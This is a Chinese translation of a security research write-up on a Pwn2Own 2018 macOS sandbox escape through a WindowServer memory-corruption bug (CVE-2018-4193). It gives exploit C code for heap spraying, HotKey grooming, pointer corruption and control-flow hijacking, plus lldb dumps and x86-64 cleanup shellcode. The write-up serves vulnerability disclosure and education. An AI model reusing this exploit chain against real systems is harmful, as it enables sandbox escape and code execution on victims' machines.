原文:https://blog.ret2.io/2018/08/28/pwn2own-2018-sandbox-escape/

在本文的上篇中,我们给出了相应的POC,并介绍了现有漏洞的局限性。接着,介绍了用于发现与我们的漏洞兼容的破坏目标的工具和技术,在本文中,我们将为读者详细介绍更多的内容。

行动计划


最终,我们的沙箱逃逸过程可以分为五个不同的阶段:

  1. (利用我们的漏洞)泄漏WindowServer MALLOC_TINY堆底部附近的地址
  2. (利用我们的漏洞)通过仔细选择并修整跨块破坏对象,创建一个悬空的HotKey
  3. 使用悬空HotKey对象破坏CFStringRef指针
  4. 使用objc_msgSend()技术来劫持控制流,进而实现任意代码执行
  5. 清理现场并继续执行

本文的其余部分将详细介绍以上所述的各个步骤。

泄漏堆布局


沙箱逃逸的第一阶段,旨在泄漏WindowServer堆布局的相关信息。虽然这一步并不是绝对必要的,但泄漏的堆指针能够提供一些态势感知信息,从而提高漏洞利用的速度和可靠性。

在这一步中,首先需要使用CGSSetConnectionProperty()向WindowServer的MALLOC_TINY堆中喷射500,000个左右的CFString对象:

for(int i = start; i < end; i++)
    {
        CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, spray_id, i);
        CGSSetConnectionProperty(g_cid, g_cid, key_name, corruptor_cfs);
        CFRelease(key_name);
        if(i % 1000000 == 0 && i) { printf("[*] - Completed %u\n", i); }
    }

对于这些喷射的字符串来说,除了中间仅有的一个[0x400] DWORD外,其他部分都是用NULL字节进行填充的。由于这里满足 [ 0x400 ] [ 0x0000000000000000 ]约束,从而有效地创建了一个小“hook”,借助它,我们的越界写入就不会造成任何意外的破坏了。

(lldb) x/124gx 0x7ff0b7910160 --force
0x7ff0b7910160: 0x001dffff91812551 0x0000000100000788
0x7ff0b7910170: 0x00000000000003c6 0x0000000000000000
0x7ff0b7910180: 0x0000000000000000 0x0000000000000000
...
0x7ff0b7910500: 0x0000000000000000 0x0000000000000000
0x7ff0b7910510: 0x0000000000000000 0x0000040000000000 <-- 'hook' to catch a write
0x7ff0b7910520: 0x0000000000000000 0x0000000000000000
0x7ff0b7910530: 0x0000000000000000 0x0000000000000000

从任意选择(但有问题的)的索引0xFFEDFFC0开始,我们的漏洞利用代码将尝试通过SLPSRegisterForKeyOnConnection()来多次触发该bug,同时令有问题的索引不断递增。重复这一过程,直到抓住其中一个“hook”并成功完成写入为止,从而有效地“破坏”我们喷射的字符串:

current_index = starting_index + i;
    result = SLPSRegisterForKeyOnConnection(g_cid, &psn, current_index, 1);
    printf("[*] Attempted buggy write @ 0x%08X: %u\n", current_index, result);

    // a non-zero return code means the write did not occur
    if(result)
        continue;

使用lldb转储被破坏的分配空间后,我们发现,成功触发漏洞会将“未知堆指针”+ ConnectionID写入到一个喷射的连接属性中。

(lldb) x/124gx 0x7ff0b7910160 --force
0x7ff0b7910160: 0x001dffff91812551 0x0000000100000788
0x7ff0b7910170: 0x00000000000003c6 0x0000000000000000
0x7ff0b7910180: 0x0000000000000000 0x0000000000000000
...
0x7ff0b7910500: 0x0000000000000000 0x0000000000000000
0x7ff0b7910510: 0x0000000000000000 0x0000040000000000 <-- 'hook' to catch a write
0x7ff0b7910520: 0x00007ff0b9438e20 0x0000000000007313 <-- [unknown_ptr (8 bytes)] [CID (4 bytes)]
0x7ff0b7910530: 0x0000000000000000 0x0000000000000000

通过CoreGraphics提供的CGSCopyConnectionProperty()API,我们能够从WindowServer请求喷射的所有连接属性字符串。通过搜索每个字符串的内容,我们的漏洞利用代码最终会找到包含被泄漏的指针的、自身已被破坏的属性:

for(int i = start; i < end && found < length; i++)
    {
        // request a connection property back from the windowserver
        CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, LEAK_SPRAY_ID, i);
        CGSCopyConnectionProperty(g_cid, g_cid, key_name, &valuePtr);
        CFRelease(key_name);

        // convert the received string to raw bytes
        CFStringGetBytes(valuePtr, range, kCFStringEncodingISOLatin1, 0, true, (UInt8*)key_value, CORRUPTOR_SIZE, &got);
        CFRelease(valuePtr);

        // check for the presence of a leak
        leak = ((uint64_t*)&key_value[CORRUPTOR_SIZE-6-24]);
        if(*leak != 0)
        {
            *leaked = *leak;
            keys[found++] = (uint32_t)i;
        }
    }

虽然我们没有太多时间来研究这个指针的真正用途,但不难发现,MALLOC_TINY堆的末端位于一个新的WindowServer实例中。同时,我们还注意到MALLOC_TINY堆很可能是以大小为256mb的块“向后扩展”。

这样的话,我们不仅能预测漏洞利用代码的分配空间相对于泄漏的指针的位置,同时,还能计算喷射数据端点的近似位置:

第一阶段使用漏洞与堆喷射来泄漏堆指针

借助对堆布局及其增长方式的了解,可以进一步使用我们的漏洞完成更加恶毒的内存破坏活动。

HotKey风水


漏洞利用第二阶段的目标,是部分破坏WindowServer HotKey指针,以使它指向我们可以任意控制的堆数据中的某个位置。这需要执行一系列精心设计的堆操作,并在进行跨块破坏时冒险尝试创建一个悬空的HotKey指针。

首先,使用(在第一阶段中泄漏的)堆指针来计算第二阶段所需的最佳喷射大小(范围在1-4gb之间)。其实,之所以要计算喷射大小,是为了覆盖我们期望悬空的HotKey指针所在的地址。当然,这是基于这样一个假设,即我们在喷射中途为可破坏的HotKey对象分配内存空间。

泄漏的堆指针帮助我们预测在第二阶段何时分配对象

就像第一阶段一样,第二阶段喷射的大多是内容为NULL的连接属性字符串。在喷射的中途,我们的漏洞将停止检查堆,以求找到分配空间直接相邻的属性字符串。找到相邻value的分配空间(即,它们之间没有key字符串)是至关重要的,因为这是我们要执行的跨块破坏的内存空间的边界。

识别出几个相邻的分配空间对后,我们可以使用CGSSetConnectionProperty()释放每对中的后面那个,注意,这里value参数的值取NULL。这样的话,就能够有效地释放WindowServer中指定的连接属性value的分配空间,从而实现为堆“打孔”的目的:

void punch_hotkey_holes(unsigned int * hotkey_keys, size_t length)
{
    for(int i = 0; i < length; i++)
    {
        // we want to punch a hole AFTER the string we probed (hence +1)
        int hole_index = hotkey_keys[i] + 1;
        CFStringRef key_name = CFStringCreateWithFormat(NULL, NULL, KEY_FORMAT, HOTKEY_SPRAY_ID, hole_index);
        CGSSetConnectionProperty(g_cid, g_cid, key_name, NULL);
        CFRelease(key_name);
    }
}

在第二阶段的上半段通过喷射NULL字符串进行打孔

在释放了一些精心选择的NULL字符串块之后,我们的漏洞利用代码将立即着手创建HotKey对象,以期能够填充我们打出来的一个或多个孔:

void create_hotkeys()
{
    for(int i = 1; i < 0x4000; i++)
        CGSSetHotKey(g_cid, i, 0x4242, 0x4343, 0xBE0000);
}

如果一切正常的话,堆现在已经在我们选择的连接属性分配空间后面创建了一个HotKey对象。下面带注释的lldb转储显示了这两个分配空间之间的阈值,到目前为止,就已经为跨块破坏做好了充分的准备。

(lldb) x/30gx 0x7fd186200b00
...
0x7fd186200b50: 0x0000000000000000 0x0000000000000000 ... (attacker controlled string)
0x7fd186200b60: 0x0000000000000000 0x0000000000000000 
0x7fd186200b70: 0x0000000000000000 0x0000040000000000 <-- probe hook
0x7fd186200b80: 0x00007fd1f981b7d0 0x0000000000005413
0x7fd186200b90: 0x0000040000000000 0x0000000000000000 <-- cross-chunk corruption hook
>---------------------------------------------------<
0x7fd186200ba0: 0x00007fd15cfa8730 0x00007fd1f7d1f590 \
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134  \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000   +- HotKey object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730  /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /

在执行跨块破坏以创建一个悬空的HotKey指针之前,我们的漏洞利用需要先完成第二阶段NULL字符串喷射的后半部分。这可以确保我们预测的悬空指针所指向的地址(一旦遭到损坏后),正好是一个有效的堆地址。

上面的喷射工作一旦完成,接下来就可以借助我们的漏洞和精心计算的索引来定位上面提供的lldb转储中的“跨块破坏hook”了。这个有问题的写操作会越过我们的分配空间的边界,这样一来,就可以通过我们的ConnectionID来破坏HotKey对象的第一个DWORD了。

(lldb) x/30gx 0x7fd186200b00
...
0x7fd186200b40: 0x0000000000000000 0x0000000000000000 ... (attacker controlled string)
0x7fd186200b50: 0x0000000000000000 0x0000000000000000
0x7fd186200b70: 0x0000000000000000 0x0000040000000000 <-- probe hook
0x7fd186200b80: 0x00007fd1f981b7d0 0x0000000000005413
0x7fd186200b90: 0x0000040000000000 0x00007fd1f981b7d0 <-- cross-chunk corruption hook
>---------------------------------------------------<
0x7fd186200ba0: 0x00007fd100005413 0x00007fd1f7d1f590 \<-- corrupted 0x00007fd1[00005413]
0x7fd186200bb0: 0x00000000ffffffff 0x0000000000000134  \
0x7fd186200bc0: 0x0000000000000000 0x0000000000000000   + HotKey Object
0x7fd186200bd0: 0x0000000000000001 0x00007fd15cfa8730  /
0x7fd186200be0: 0x0000000000000000 0x00be000043434242 /

这个跨块破坏过程会把hotkey->next的值从0x7fd15cfa8730改为0x7fd100005413。通过进行部分覆盖,我们强行创建一个悬空的HotKey指针。

经过漫长而艰巨的跋涉,第二阶段的工作终于接近尾声。现在,WindowServer的堆布局如下所示:

第二阶段结束时WindowServer堆的布局

最后一步是精确定位悬空的HotKey分配空间与喷射的NULL字符串的分配空间重叠的位置。

我们可以通过CGSSetHotKeyEnabled()来尝试启用悬空的HotKey(ID为0)。这个API会在悬空的HotKey分配空间中翻转一个位,“破坏”我们的喷射的一个NULL字符串。

(lldb) x/10gx 0x00007fd100005413
0x7fd100005413: 0x0000000000000000 0x0000000000000000
0x7fd100005423: 0x0000000000000000 0x0000000000000000
0x7fd100005433: 0x0000000000000001 0x0000000000000000 <-- hotkey->enabled
0x7fd100005443: 0x0000000000000000 0x0000000000000000
0x7fd100005453: 0x0000000000000000 0x0000000000000000

最后,我们再次使用CGSCopyConnectionProperty()从WindowServer中逐一检索喷射的属性字符串。最终,漏洞利用代码会找到包含单个翻转位的字符串。现在,我们已经确定出喷射的哪个分配空间与悬空的HotKey相互重叠了。

数组风水


第三阶段与前一阶段一样,也非常冗长乏味。创建了悬空的HotKey后,接下来的目标是在它下面分配一些“有趣”的东西。如果做得好,我们至少可以破坏一个位或从悬空的HotKey下面泄漏一些信息。当然,说起来简单做起来难,原因如下所示:

为了简洁起见,直接说结果吧——我们发现,一个精心设计、精心分配和精确对齐且填充了"我们感兴趣的"CFStringRef指针的CFMutableArray,既可以满足重叠HotKey的要求,又可以整理出劫持代码执行的路径。

如果重叠得当,对应的各个分配空间的布局将如下所示:

(lldb) x/30gx 0x7fd1000053f0
0x7fd1000053f0: 0x001dffff91812a79 0x0000000100001384 \ 
0x7fd100005300: 0x0000000000000018 0x0000000000000000  \
0x7fd100005410: 0x0000000000000000 0x0000000000000000   \
0x7fd100005420: 0x00000001bd7bb000 0x0000000000434335    |
0x7fd100005430: 0x00000001bd7bb000 0x0000000000434335    |
0x7fd100005440: 0x00000001bd7bb000 0x0000000000434335    |
0x7fd100005450: 0x0000000000434335 0x00000001bd7bb000    | 
0x7fd100005460: 0x00000001bd7bb000 0x0000000000434335    +- CFMutableArray
0x7fd100005470: 0x0000000000434335 0x0000000000434335    |
0x7fd100005480: 0x0000000000434335 0x0000000000434335    |
0x7fd100005490: 0x0000000000434335 0x0000000000434335    |
0x7fd1000054a0: 0x0000000000434335 0x0000000000434335    |
0x7fd1000054b0: 0x0000000000434335 0x0000000000434335   /
0x7fd1000054c0: 0x0000000000434335 0x0000000000434335  /
0x7fd1000054d0: 0x0000000000434335 0x0000000000434335 /

(lldb) x/10gx 0x7fd100005413
0x7fd100005413: 0x0000000000000000 0x7bb0000000000000 \ 
0x7fd100005423: 0x43433500000001bd 0x7bb0000000000000  \
0x7fd100005433: 0x43433500000001bd 0x7bb0000000000000   +- dangling hotkey
0x7fd100005443: 0x43433500000001bd 0x4343350000000000  /
0x7fd100005453: 0x7bb0000000000000 0x7bb00000000001bd /

需要注意的是,这些单独的内存转储描述的是相同的地址范围;与此同时,我们还提供了一个额外的可视化表示,以帮助解释它们在重叠时的采用的独特对齐方式:

重叠的分配空间的字节级表示及其相关字段

我们已经有效地将悬空的HotKey的hotkey->next字段与CFMutableArray头部中的两个NULL字段重叠在一起了。我们还精心制作了一个数组,使得CFStringRef正好位于我们可以通过CGSSetHotKeyEnabled()打开或关闭的单个比特位的下面。

这种精确对齐允许我们破坏CFMutableArray中的CFStringRef成员指针。

破坏CFStringRef


在破坏重叠的CFStringRef指针之前,首先必须找到悬空的HotKey的“新”ID。为了使用CoreGraphics/SkyLight API,我们需要一个HotKey ID:悬空的HotKey ID已经不是ID 0了,因为hotkey->id与部分数组内容是重叠的。

解决方案是暴力搜索hotkey->id字段(~12bit bf),该字段与数组结构中CFStringRef指针的底部3个字节重叠。我们使用CGSGetHotKey()API来暴力搜索悬空的HotKey ID,直到它返回成功的结果代码为止:

for(uint64_t i = 0; i < 0x1000; i++)
{
    bf_hotkey_id = i << 52;
    result = CGSGetHotKey(g_cid, bf_hotkey_id, &leak1, &leak2, &leak3);
    if(result == 0)
    {
        printf("[+] Found overlaid hotkey id 0x%llx\n", bf_hotkey_id);
        *hotkey_id = bf_hotkey_id;
        break;
    }
}

此外,该API还会以整数的形式返回某些HotKey字段,因此,会"泄漏"悬空的HotKey下面的一些数据。通过将leak1和leak3拼接在一起,我们实际上可以根据重叠的CFMutableArray来重构一个CFStringRef指针(在MALLOC_LARGE堆中分配空间):

//
// we only use this leak to determine whether we should flip
// the bit in an string pointer one way or another.
//

*big_heap_leak = (((uint64_t)leak1 << 24) | leak3 >> 8);

在这个例子中,我们发现重建的指针是0x1BD7BB000。由于已经设置了第24位,所以,为了破坏该指针,必须禁用该悬空的HotKey。这个破坏行为会把CFStringRef指针从0x1BD7BB000变为0x1BC7BB000。

bool corrupt_cf_ptr(uint64_t hotkey_id, uint64_t big_heap_leak)
{

    //
    // flip a single bit (0x00000001000000) in a CFStringRef pointer
    // laid beneath our 'dangling' hotkey
    //

    bool flip = (big_heap_leak & 0x1000000) == 0x1000000;
    printf("[*] Corrupting %p --> %p\n", (void*)big_heap_leak, (void*)(big_heap_leak ^ 0x1000000));
    return CGSSetHotKeyEnabled(g_cid, hotkey_id, flip) == 0;
}

至此,我们终于完成了破坏一个Objective-C指针的任务。

代码执行


在“捯饬”悬空的HotKey(第三阶段)下面的CFMutableArray的过程中,我们还向WindowServer的MALLOC_LARGE堆中喷射了大量的字符串对象。这些(由CFStringRef成员指向的)大字符串中含有我们的最终ROP链和伪造的Objective-C ISA。

通过在第三阶段翻转CFStringRef指针中的单个高位,并不让被破坏的指针进行对齐处理,最终使其指向我们喷射的伪Objective-C字符串结构:

最终的漏洞利用代码示意图,它经过了多次喷射和破坏处理

这样的话,我们只需释放其父CFMutableArray,就能释放被破坏的CFStringRef。我们的漏洞利用代码将使用Phrack中介绍的objc_msgSend()技术来劫持控制流。

我们借助一个定制的COP gadget实现了任意的ROP,剩下的就是一些相对普通的ROP&JOP了。此后,用ROP链不断映射RWX shellcode内存页面,直到跳转至该页面为止,从而导致WindowServer系统服务中的任意代码执行漏洞,实现Safari沙箱逃逸。

正常运行


通常来说,这些类型的writeup文章会省略这一步,但是,我们的Pwn2Own漏洞利用代码的最后一步则可以确保被利用的服务能够继续执行。由于WindowServer是负责绘制用户桌面的核心系统服务,因此,在获取root shell之后,漏洞利用代码必须确保该服务不会发生崩溃。

我们使用shellcode来仔细清理漏洞利用过程中对WindowServer进程造成的一些损害。我们在这个阶段着力不多,只是将指向连接的属性字典和HotKey链的指针中性化,以尽量减少对其他分配空间所造成的附带损害。

; compiled with: nasm shellcode.asm

BITS 64

_start:
    add     rsp, 0x10000
    mov     r15, rax
    mov     [r15+0x3F00], r15           ; save the address of our shellcode

repair_objc:
    mov     rbx, [r15+0x3F28]
    sub     rbx, 0x75
    sub     byte [rbx], 0x70

repair_ws:
    mov     rdi, [r15+0x3F08]           ; ConnectionID
    call    [r15+0x3F10]                ; call CGXConnectionForConnectionID
    xor     r14, r14
    mov     [rax+144], r14              ; nuke HotKey pointer
    mov     [rax+160], r14              ; nuke Property Dictionary

resume_ws:
    lea     rbx, [r15+0x3F18]           ; ptr to _get_default_connection_tls_key_key
    mov     rbx, [rbx]
    xorps   xmm1, xmm1
    jmp     [r15+0x3F20]                ; jmp SLXServer

; Pseudo DATA section at 0x3F00
; 0x3F00: [shellcode pointer]
; 0x3F08: [ConnectionID]
; 0x3F10: [CGXConnectionForConnectionID]
; 0x3F18: [_get_default_connection_tls_key_key]
; 0x3F20: [SLXServer Loop]
; 0x3F28: [SEL_release]

删除了对我们的畸形分配空间的根引用后,该shellcode尝试将被劫持的控制流返回给WindowServer的SLXServer()例程底部的主mach消息处理循环:

这个含有1个构造块的无限循环是WindowServer mach消息处理线程的根

事实证明,这足以将WindowServer可靠地恢复到稳定状态,从而实现持续运行,这样的话,受害者就感觉不到漏洞利用代码所做的一切。

漏洞利用代码的统计数据


这个漏洞利用代码中使用的漏洞(CVE-2018-4193)是于2018年2月16日被发现的。与JavaScriptCore漏洞一样,为了研究、武器化和稳定利用这个漏洞,大约花费了100个工时。

在参加Pwn2Own 2018大赛之前,我们在13英寸、i5处理器的2017 MacBook Pro系统上进行了1000多次测试,每次测试后自动重启,结果全链的成功率在85%左右。

测试截图

老实说,我们的沙箱逃逸技术并不是非常理想。其中,大部分的失败都与WindowServer堆的整理有关。平均而言,全链(Safari + Sandbox)的运行时间大于90秒,其中大部分时间都是用于整理WindowServer堆。这种沙箱逃逸技术被亲切地称为永恒的新郎(Eternal Groom)。

将来的研究方向


通过更深入地了解WindowServer内部结构和macOS堆,这种漏洞利用方法的可靠性会更高,并且复杂性会进一步降低。虽然我们在这篇文章中详述的方法已经能够正常发挥功能,但是,我们认为该技术还处于萌芽阶段,仍有巨大的潜力可挖。

为了验证我们的判断是否正确,我们迫切希望看到有人在这一方向上继续深耕并做出更好的成绩,因此,我们决定向第一位发布符合以下标准的漏洞利用代码的研究人员颁发一份Binary Ninja Commercial License (MSRP $599) :

为了向社区提供更好的教育资源,研究人员必须发布相应的漏洞利用文章和源代码,才能获得相应的奖励。该挑战条款将于2019年1月1日或首次成功兑换后到期。如果您有任何疑问,请在发布前与我们联系。

为了帮助人们进一步研究这个安全问题,我们已经在GitHub上发布了我们自己的Pwn2Own 2018漏洞利用代码。

结束语


在编写这个文章系列的过程中,我们参考了无数的公开资源,以及众多开源技术。我们的漏洞利用技术,是建立在有条件要利用,没有条件创造条件也要利用的基础之上的。

成功哪有什么秘诀,只有苦逼干活。

源链接

Hacking more

...